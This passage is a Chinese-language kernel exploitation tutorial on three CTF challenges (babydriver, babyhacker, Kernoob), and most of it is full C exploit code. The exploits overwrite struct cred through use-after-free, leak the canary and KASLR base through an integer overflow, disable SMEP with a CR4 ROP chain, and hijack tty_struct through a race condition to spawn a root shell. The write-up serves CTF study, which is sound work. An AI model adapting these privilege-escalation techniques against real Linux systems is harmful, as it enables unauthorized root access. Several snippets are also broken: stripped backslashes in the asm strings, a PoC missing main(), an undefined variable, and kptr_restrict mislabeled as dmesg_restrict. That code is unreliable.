0x07 以CISCN2017 – babydriver为例
🏅:本题考查点 – UAF in Kernel
根据boot.sh
所示,程序开启了SMEP
保护。
Init文件分析
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "nBoot took $(cut -d' ' -f1 /proc/uptime) secondsn"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
发现本次的文件系统没有加载共享文件夹,这将导致我们每次写完PoC
都需要将PoC
重打包进文件系统。
🚫:经过进一步测试发现,Kernel文件不支持9p选项,因此无法通过修改Init
的方式来挂载共享文件夹。
然后我们需要重打包文件系统,使用命令find . | cpio -o --format=newc > rootfs.cpio
。
调试信息
QEMU
启动指令:
qemu-system-x86_64 -s
-initrd rootfs.cpio
-kernel bzImage
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/babydriver/Share
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
-cpu kvm64,+smep
因为boot.sh
中涉及到了KVM
技术,而在虚拟机中的Ubuntu再启动虚拟化是很麻烦的,因此可以直接修改启动指令为以上指令。
LKMs文件分析
题目逻辑分析
可以发现,本题中提供了ioctl
函数,这给了我们更多的交互方式。
babyioctl
程序定义了一个命令码0x10001
,在这个命令码下,程序将会释放device_buf
指向的Chunk
,并且申请一个用户传入大小的Chunk
给device_buf
,然后将这个大小赋给device_buf_len
。
babyopen
在打开设备时,程序即会申请一个64字节大小的Chunk
给device_buf
,然后将这个大小赋给device_buf_len
。
babywrite
向device_buf
指向的Chunk
写入值,写入长度不得超过device_buf_len
。
babyread
从device_buf
指向的Chunk
向用户返回值,返回长度不得超过device_buf_len
。
babyrelease
释放device_buf
指向的Chunk
。
题目漏洞分析
可以发现,本次题目中的函数没有之前见到过的栈溢出或者空指针引用等漏洞。
需要注意,在Kernel中,如果用户态程序多次打开同一个字符设备,那么这个字符设备的线程安全将由字符设备本身来保证,即有没有在open函数相关位置进行互斥锁的设置等。这个题目给出的设备显然没有实现相关机制。
那么,如果我们打开两次LKMs
,两个LKMs
的babydev_struct.device_buf
将指向同一个位置,也就是说,后一个LKMs的babydev_struct.device_buf
将覆盖前一个LKMs的babydev_struct.device_buf
。若此时第一个LKMs
执行了释放操作,那么第二个LKMs
的babydev_struct.device_buf
事实上将指向一块已经被释放了的内存,这将导致Use-After-Free
漏洞的发生。
我们在Kernel Pwn 学习之路(一)中说明过一个struct cred - 进程权限结构体
,它将记录整个进程的权限,那么,如果我们能将这个结构体篡改了,我们就可以提升整个进程的权限,而结构体必然需要通过内存分配,我们可以利用fork函数
将一个进程分裂出一个子进程,此时,父进程将与子进程共享内存空间,而子进程被创建时必然也要创建对应的struct cred
,此时将会把第二个LKMs
的babydev_struct.device_buf
指向的已释放的内存分配走,那么此时我们就可以修改struct cred
了。
Final Exploit
根据我们的思路,我们可以给出以下的Expliot:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xA8);
// 释放fd1,此时,LKMs2的device_buf将指向一块大小为sizeof(struct cred)的已free的内存
close(fd1);
// 新起进程的 cred 空间将占用那一块已free的内存
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 篡改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
由于题目环境没有共享文件夹供我们使用,故直接将其编译后放在文件系统的tmp目录即可然后重打包启动QEMU即可调试。
0x08 以2020高校战疫分享赛 – babyhacker为例
🏅:本题考查点 – ROP Chain in Kernel、整数溢出、Bypass SEMP/kASLR
调试信息
QEMU
启动指令:
qemu-system-x86_64
-m 512M
-nographic
-kernel bzImage
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr'
-monitor /dev/null
-initrd initramfs.cpio
-smp cores=2,threads=4
-cpu qemu64,smep,smap 2>/dev/null
本题依然没有给出共享文件夹,因此仍需要在利用时重打包文件系统。
Kernel开启了SEMP
、SAMP
、KASLR
保护。
LKMs文件分析
LKMs
文件启动了Canary
防护。
题目逻辑分析
babyhacker_ioctl
程序定义了三个命令码0x30000
、0x30001
、0x30002
。
在0x30000
命令码下,程序会将buffersize
置为我们输入的参数。(最大为10)
在0x30001
命令码下,程序会将我们输入的参数写到栈上。
在0x30002
命令码下,程序会将栈上数据输出。
题目漏洞分析
当我们设置参数时,程序会将我们的输入转为有符号整数进行上限检查,而没有进行下限检查,这会导致整数溢出的发生。也就是说,当我们输入的buffersize
为-1时,我们事实上可以对栈上写入一个极大值。
泄露栈上数据
由于程序开启了KASLR
保护,因此我们需要从栈上泄露一些数据,我们构造如下PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff & s[i]);
}
return result;
}
char leak_value[0x1000];
unsigned long Send_value[0x1000];
int fd1 = open("/dev/babyhacker", O_RDONLY);
ioctl(fd1, 0x30000, -1);
ioctl(fd1, 0x30002, leak_value);
for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
uint64_t tmp = u64(&leak_value[i * 8]);
printf("naddress %d: %pn",i * 8 ,tmp);
}
return 0;
}
⚠️:我们在打开一个字符设备时一定要保证模式正确,例如本题的设备没有为我们提供Write
交互参数,那么我们就应该以只读方式打开此设备,否则会引发不可预知的错误!
根据我们的判断,程序应该会在0x140的偏移处存储Canary
的值
我们在结果中也确实读到了相应的值
控制EIP
那么我们只要接收这个值就可以在发送时带有这个值进而控制EIP了,构造如下PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff & s[i]);
}
return result;
}
int main()
{
char leak_value[0x1000];
unsigned long Send_value[0x1000];
int fd1 = open("/dev/babyhacker", O_RDONLY);
save_status();
ioctl(fd1, 0x30000, -1);
ioctl(fd1, 0x30002, leak_value);
// for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
// uint64_t tmp = u64(&leak_value[i * 8]);
// printf("naddress %d: %pn",i * 8 ,tmp);
// }
uint64_t Canary = u64(&leak_value[10 * 8]);
printf("nCanary: %pn",Canary);
for(int i = 0 ; i < 40 ; i++ )
Send_value[i] = 0;
Send_value[40] = Canary;
Send_value[41] = 0;
Send_value[42] = 0xDEADBEEF;
ioctl(fd1, 0x30001, Send_value);
return 0;
}
那么按照预期,程序应该会因为EIP处为0xDEADBEEF
这个不合法地址而断电。
结果确实如此。
Bypass SEMP & Bypass kASLR
那么绕过SEMP
的思路还可以使用我们之前所述的思路,首先导出并寻找可用的gadget
0xffffffff81004d70 : mov cr4, rdi ; pop rbp ; ret
0xffffffff8109054d : pop rdi ; ret
我们找到了这两个gadget
之后还要想办法绕过开启的kASLR
保护,这将导致我们无法得知这几个gadget
的真实地址。
我们可以在启动QEMU
时,暂时关闭kASLR
,然后我们就可以得到程序返回地址的真实值。(将启动参数里的kaslr
修改为nokaslr
)
也就是0xffffffff81219218
。
接下来我们开启kASLR
,再次获取相同位置的值,然后我们可以得到如下计算公式:
0xffffffff81219218 + 固定offset = 获取到的随机加载地址
任意函数的物理地址 + 固定offset = 任意函数的实际加载地址
任意函数的物理地址 + 获取到的随机加载地址 - 0xffffffff81219218 = 任意函数的实际加载地址
那么我们可以构造如下PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff & s[i]);
}
return result;
}
int main()
{
char leak_value[0x1000];
unsigned long Send_value[0x1000];
int fd1 = open("/dev/babyhacker", O_RDONLY);
ioctl(fd1, 0x30000, -1);
ioctl(fd1, 0x30002, leak_value);
// for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
// uint64_t tmp = u64(&leak_value[i * 8]);
// printf("naddress %d: %pn",i * 8 ,tmp);
// }
uint64_t Canary = u64(&leak_value[40 * 8]);
printf("nCanary: %pn",Canary);
uint64_t Rand_addr = u64(&leak_value[42 * 8]);
printf("nRand address: %pn",Rand_addr);
for(int i = 0 ; i < 40 ; i++ )
Send_value[i] = 0;
Send_value[40] = Canary;
Send_value[41] = 0;
Send_value[42] = Rand_addr + 0xffffffff8109054d - 0xffffffff81219218;
Send_value[43] = 0x6e0;
Send_value[44] = Rand_addr + 0xffffffff81004d70 - 0xffffffff81219218;
Send_value[45] = 0;
Send_value[46] = 0xDEADBEEF;
ioctl(fd1, 0x30001, Send_value);
return 0;
}
通过CR4
寄存器的值确定,我们已经成功关闭了SEMP
和SEAP
保护。
Final Exploit
接下来我们只需要获取两个关键函数地址就可以get_shell了,但是注意,我们还是需要先暂时关闭kASLR
再从/proc/kallsyms
读取到的函数地址才是正确的地址。
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void save_status(){
asm(
"mov %%cs, %0n"
"mov %%ss, %1n"
"mov %%rsp, %3n"
"pushfqn"
"popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) :
:"memory"
);
tf.rsp -= 4096;
tf.rip = &launch_shell;
}
uint64_t (*commit_creds)(uint64_t cred) ;
uint64_t (*prepare_kernel_cred)(uint64_t cred) ;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("movq $tf, %rspn"
"swapgsn"
"iretqn");
}
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff & s[i]);
}
return result;
}
int main()
{
char leak_value[0x1000];
unsigned long Send_value[0x1000];
int fd1 = open("/dev/babyhacker", O_RDONLY);
save_status();
ioctl(fd1, 0x30000, -1);
ioctl(fd1, 0x30002, leak_value);
// for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
// uint64_t tmp = u64(&leak_value[i * 8]);
// printf("naddress %d: %pn",i * 8 ,tmp);
// }
uint64_t Canary = u64(&leak_value[40 * 8]);
printf("nCanary: %pn",Canary);
uint64_t Rand_addr = u64(&leak_value[42 * 8]);
printf("nRand address: %pn",Rand_addr);
prepare_kernel_cred = (void *)(Rand_addr + 0xffffffff810a1820 - 0xffffffff81219218);
commit_creds = (void *)(Rand_addr + 0xffffffff810a1430 - 0xffffffff81219218);
for(int i = 0 ; i < 40 ; i++ )
Send_value[i] = 0;
Send_value[40] = Canary;
Send_value[41] = 0;
Send_value[42] = Rand_addr + 0xffffffff8109054d - 0xffffffff81219218;
Send_value[43] = 0x6e0;
Send_value[44] = Rand_addr + 0xffffffff81004d70 - 0xffffffff81219218;
Send_value[45] = 0;
Send_value[46] = payload;
Send_value[47] = 0xDEADBEEF;
ioctl(fd1, 0x30001, Send_value);
return 0;
}
提权成功!
0x09 以2020高校战疫分享赛 – Kernoob为例
🏅:本题考查点 – ROP Chain in Kernel、整数溢出、Bypass SEMP/kASLR
Init文件分析
有时文件系统的init文件是空的,可以去/etc
下面的init.d
下面寻找
#!/bin/sh
echo "Welcome :)"
mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts
insmod /home/pwn/noob.ko
chmod 666 /dev/noob
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
我们可以看到,程序对/proc/sys/kernel/dmesg_restrict
和/proc/sys/kernel/dmesg_restrict
这两个文件进行了操作。
关于/proc/sys/kernel/dmesg_restrict
这里我们引用 kernel docs 中的内容:
This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel’s log buffer. When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict.
可以发现,当/proc/sys/kernel/dmesg_restrict
为1时,将不允许用户使用dmesg
命令。
关于/proc/sys/kernel/kptr_restrict
这里我们引用lib/vsprintf.c中的内容:
case 'K':
/*
* %pK cannot be used in IRQ context because its test
* for CAP_SYSLOG would be meaningless.
*/
if (kptr_restrict && (in_irq() || in_serving_softirq() ||
in_nmi())) {
if (spec.field_width == -1)
spec.field_width = default_width;
return string(buf, end, "pK-error", spec);
}
switch (kptr_restrict) {
case 0:
/* Always print %pK values */
break;
case 1: {
/*
* Only print the real pointer value if the current
* process has CAP_SYSLOG and is running with the
* same credentials it started with. This is because
* access to files is checked at open() time, but %pK
* checks permission at read() time. We don't want to
* leak pointer values if a binary opens a file using
* %pK and then elevates privileges before reading it.
*/
const struct cred *cred = current_cred();
if (!has_capability_noaudit(current, CAP_SYSLOG) ||
!uid_eq(cred->euid, cred->uid) ||
!gid_eq(cred->egid, cred->gid))
ptr = NULL;
break;
}
case 2:
default:
/* Always print 0's for %pK */
ptr = NULL;
break;
}
break;
可以发现,当/proc/sys/kernel/dmesg_restrict
为0时,将允许任何用户查看/proc/kallsyms
。
当/proc/sys/kernel/dmesg_restrict
为1时,仅允许root用户查看/proc/kallsyms
。
当/proc/sys/kernel/dmesg_restrict
为2时,不允许任何用户查看/proc/kallsyms
。
修改Init文件
那么此处我们为了调试方便,我们将上述的Init文件修改为:
#!/bin/sh
echo "ERROR404 Hacked!"
mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts
insmod /home/pwn/noob.ko
chmod 666 /dev/noob
echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 >/proc/sys/kernel/perf_event_paranoid
cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
并重打包文件系统。
调试信息
QEMU
启动指令:
qemu-system-x86_64
-s
-m 128M
-nographic
-kernel bzImage
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr'
-monitor /dev/null
-initrd initramfs.cpio
-smp 2,cores=2,threads=1
-cpu qemu64,smep 2>/dev/null
本题依然没有给出共享文件夹,因此仍需要在利用时重打包文件系统。
Kernel开启了SEMP
保护。
我们可以使用如下命令获取程序的加载地址grep noob /proc/kallsyms
。
~ $ grep noob /proc/kallsyms
ffffffffc0002000 t copy_overflow [noob]
ffffffffc0003120 r kernel_read_file_str [noob]
ffffffffc0002043 t add_note [noob]
ffffffffc000211c t del_note [noob]
ffffffffc0002180 t show_note [noob]
ffffffffc00022d8 t edit_note [noob]
ffffffffc0002431 t noob_ioctl [noob]
ffffffffc0004000 d fops [noob]
ffffffffc0004100 d misc [noob]
ffffffffc0003078 r .LC1 [noob]
ffffffffc00044c0 b pool [noob]
ffffffffc0004180 d __this_module [noob]
ffffffffc00024f2 t cleanup_module [noob]
ffffffffc00024ca t init_module [noob]
ffffffffc00024f2 t noob_exit [noob]
ffffffffc00024ca t noob_init [noob]
由此可以看出以下地址
.text : 0xffffffffc0002000
.data : 0xffffffffc0004000
.bss : 0xffffffffc00044C0
# code in gdb
set architecture i386:x86-64:intel
add-symbol-file noob.ko 0xffffffffc0002000 -s .data 0xffffffffc0004000 -s .bss 0xffffffffc00044C0
LKMs文件分析
题目逻辑分析
babyhacker_ioctl
程序定义了四个命令码0x30000
、0x30001
、0x30002
、0x30003
,并且程序对于参数寻址时采用的方式是指针方式,因此我们向ioctl
应当传入的的是一个结构体。
struct IO {
uint64_t index;
void *buf;
uint64_t size;
};
IO io;
在0x30000
命令码下,程序会调用add_note
函数,将会在全局变量Chunk_list
的io -> index
的位置分配一个io -> size
大小的Chunk
,io -> size
将会存储在全局变量Chunk_size_list
中,此处Chunk_list
和Chunk_size_list
呈交错存在。
在0x30001
命令码下,程序会调用del_note
函数,将会释放Chunk_list
的io -> index
的位置的Chunk
。
在0x30002
命令码下,程序会调用edit_note
函数,进行Chunk_list
的io -> index
的位置的Chunk
合法性检查且保证io -> size
小于等于Chunk_size_list
的io -> index
的位置的值后将会调用copy_from_user(chunk,io -> buf, io -> size);
从buf
向Chunk
内写值。
在0x30003
命令码下,程序会调用show_note
函数,进行Chunk_list
的io -> index
的位置的Chunk
合法性检查且保证io -> size
小于等于Chunk_size_list
的io -> index
的位置的值后将会调用copy_to_user(io -> buf,chunk, io -> size);
从Chunk
向buf
内写值。
题目漏洞分析
首先,程序在调用kfree
释放堆块后并没有执行data段对应位置的清零,这将导致Use-After-Free
漏洞的发生。
然后,本设备涉及到了对全局变量的读写,且没有做加锁保护,这将导致Race Condition
(条件竞争)漏洞的发生,即多次打开相同设备,他们将共享全局变量区域。
分配任意地址大小的Chunk
由于条件竞争的存在,我们可以轻松绕过add_note
函数里的size
检查,程序里的size检查形如这样
if ( arg[2] > 0x70 || arg[2] <= 0x1F )
return -1LL;
但是此处的判断同样是分两步判断的,也就是,先判断io -> size
是否大于0x70,再判断io -> size
是否小于等于0x1F,如果我们创建一个并发进程,同时尝试把io -> size
的值刷新为0xA0
(此处我们假设要分配的大小为0xA0
)的一个”叠加态”,那么一定存在一个这样的情况,当进行io -> size
是否小于等于0x70的判断时,io -> size
的值还未被刷新,当进行io -> size
是否大于0x1F的判断时,io -> size
被刷新为了0x1F
,这样就通过了保护。
注意:我们在设定io -> size
的初值时,一定要小于0x1F,否则可能会发生直到Chunk
分配结束io -> size
都没有被刷新的情况发生。
我们首先构建如下PoC来测试:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
uint64_t index;
void *buf;
uint64_t size;
};
struct IO_noob io;
void fake_size() {
while(1) {
io.size = 0xA8;
}
}
int main()
{
char IO_value[0x1000] = {0};
int fd1 = open("/dev/noob", O_RDONLY);
pthread_t t;
pthread_create(&t, NULL, (void*)fake_size, NULL);
io.index = 0;
io.buf = IO_value;
while (1)
{
io.size = 0x10;
if(ioctl(fd1, 0x30000, &io) == 0)
break;
}
pthread_cancel(t);
puts("[+] Now we have a 0xA0 size Chunk!");
ioctl(fd1, 0x30001, &io); // For BreakPoint
return 0;
}
⚠️:注意,因为我们使用了pthread
实现多线程,因此在使用gcc
编译时需要添加-pthread
参数!
分配成功
劫持tty struct
结构体
接下来我们尝试去利用这个UAF漏洞来劫持tty struct
,那么我们首先就要计算这个结构体的大小,此处为了避免源码分析出错,我们选择写一个Demo用于测试。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk(KERN_ALERT "sizeof cred : %d", sizeof(struct cred));
printk(KERN_ALERT "sizeof tty : %d", sizeof(struct tty_struct));
printk(KERN_ALERT "sizeof tty_op : %d", sizeof(struct tty_operations));
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "exit module!");
}
module_init(hello_init);
module_exit(hello_exit);
使用以下makefile进行编译:
obj-m := important_size.o
KERNELBUILD := SourceCode/linux-4.15.15
CURDIR := /home/error404/Desktop/Mac_desktop/Linux-Kernel
modules:
make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
make -C $(KERNELBUILD) M=$(CURDIR) clean
使用IDA反编译即可
!
那么我们构造如下PoC就可以把tty struct
结构体分配到我们的目标区域。
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
uint64_t index;
void *buf;
uint64_t size;
};
struct IO_noob io;
void fake_size() {
while(1) {
io.size = 0x2C0;
}
}
int main()
{
char IO_value[0x30] = {0};
int fd1 = open("/dev/noob", O_RDONLY);
pthread_t t;
pthread_create(&t, NULL, (void*)fake_size, NULL);
io.index = 0;
io.buf = IO_value;
while (1)
{
io.size = 0x10;
if(ioctl(fd1, 0x30000, &io) == 0)
break;
}
pthread_cancel(t);
puts("[+] Now we have a 0x2C0 size Chunk!");
ioctl(fd1, 0x30001, &io);
int fd2 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if (fd_tty < 0) {
puts("[-] open error");
exit(-1);
}
puts("[+] Now we can write tty struct Chunk!");
ioctl(fd1, 0x30002, &io); // For BreakPoint
return 0;
}
伪造tty_operations
结构体&控制RIP
构造如下PoC就可以伪造tty_operations
结构体,并将函数流程引导至0xDEADBEEF
。
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
uint64_t index;
void *buf;
uint64_t size;
};
struct IO_noob io;
void fake_size() {
while(1) {
io.size = 0x2C0;
}
}
int main()
{
size_t IO_value[5] = {0};
size_t Fake_tty_operations[0x118/8] = {0};
Fake_tty_operations[12] = 0xDEADBEEF;
int fd1 = open("/dev/noob", O_RDONLY);
pthread_t t;
pthread_create(&t, NULL, (void*)fake_size, NULL);
io.index = 0;
io.buf = IO_value;
while (1)
{
io.size = 0x10;
if(ioctl(fd1, 0x30000, &io) == 0)
break;
}
pthread_cancel(t);
puts("[+] Now we have a 0x2C0 size Chunk!");
ioctl(fd1, 0x30001, &io);
int fd2 = open("/dev/ptmx", O_RDWR);
if (fd2 < 0) {
puts("[-] open error");
exit(-1);
}
puts("[+] Now we can write tty struct Chunk!");
io.size = 0x30;
ioctl(fd1, 0x30003, &io);
IO_value[3] = (size_t)Fake_tty_operations;
ioctl(fd1, 0x30002, &io);
ioctl(fd2,0,0);
return 0;
}
执行ROP&Bypass SEMP
那么我们希望程序可以直接跳转到我们的ROP Chain
来运行,此时我们就可以试图去迁移栈了,但是通过导出并寻找可用的gadget
的过程,我们发现,没有对rsp
操作的gadget
,仅有对esp
操作的gadget
,并且我们在调试时发现了一个事实,rax
事实上将存储我们执行的代码的地址,那么,我们就可以将栈迁移到我们已知的一个地址,这样,我们就可以执行我们的ROP链了。
⚠️:我们在寻找gadget
的时候可以很容易的发现0xffffffff8112bc48 : mov esp, eax ; retf
这个gadget
,但我们不首选使用这个,因为retf
是远返回指令(Return Far
),这个指令将会从栈上弹一个值用来恢复cs
段寄存器,我们对这个值是不可控的,因此可能会破坏cs
段寄存器!
我们最终选用0xffffffff8101db17 : xchg eax, esp ; ret
,这将交换eax
和esp
这两个寄存器的值。
接下来绕过SEMP
的思路还可以使用我们之前所述的思路,导出并寻找可用的gadget
0xffffffff8101f2f0 : mov cr4, rdi ; pop rbp ; ret
0xffffffff8107f460 : pop rdi ; ret
Final Exploit
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
void launch_shell(){
puts("[+] Now Root!");
execl("/bin/sh","sh",NULL);
}
void save_status(){
asm(
"mov %%cs, %0n"
"mov %%ss, %1n"
"mov %%rsp, %3n"
"pushfqn"
"popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) :
:"memory"
);
tf.rsp -= 4096;
tf.rip = &launch_shell;
}
uint64_t (*commit_creds)(uint64_t cred) = (void *)0xffffffff810ad430;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = (void *)0xffffffff810ad7e0;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("movq $tf, %rspn"
"swapgsn"
"iretqn");
}
struct IO_noob {
uint64_t index;
void *buf;
uint64_t size;
};
struct IO_noob io;
void fake_size() {
while(1) {
io.size = 0x2C0;
}
}
int main()
{
size_t IO_value[5] = {0};
size_t Fake_tty_operations[0x118/8] = {0};
Fake_tty_operations[12] = 0xffffffff8101db17;
size_t *ROP_chain = mmap((void *)(0x8101d000), 0x1000, 7, 0x22, -1, 0);
if (!ROP_chain) {
puts("mmap error");
exit(-1);
}
size_t pop_rdi_ret = 0xffffffff8107f460;
size_t mov_cr4_rdi = 0xffffffff8101f2f0;
size_t rop_chain[] = {
pop_rdi_ret,
0x6e0,
mov_cr4_rdi,
0,
payload,
0xDEADBEEF,
};
memcpy((void *)(0x8101db17), rop_chain, sizeof(rop_chain));
int fd1 = open("/dev/noob", O_RDONLY);
save_status();
pthread_t t;
pthread_create(&t, NULL, (void*)fake_size, NULL);
io.index = 0;
io.buf = IO_value;
while (1)
{
io.size = 0x10;
if(ioctl(fd1, 0x30000, &io) == 0)
break;
}
pthread_cancel(t);
puts("[+] Now we have a 0x2C0 size Chunk!");
ioctl(fd1, 0x30001, &io);
int fd2 = open("/dev/ptmx", O_RDWR);
if (fd2 < 0) {
puts("[-] open error");
exit(-1);
}
puts("[+] Now we can write tty struct Chunk!");
io.size = 0x30;
ioctl(fd1, 0x30003, &io);
IO_value[3] = (size_t)Fake_tty_operations;
ioctl(fd1, 0x30002, &io);
puts("[+] Now ROP!");
ioctl(fd2, 0, 0);
return 0;
}
0x08 参考链接
When kallsyms doesn’t show addresses even though kptr_restrict is 0 – hatena
0 条评论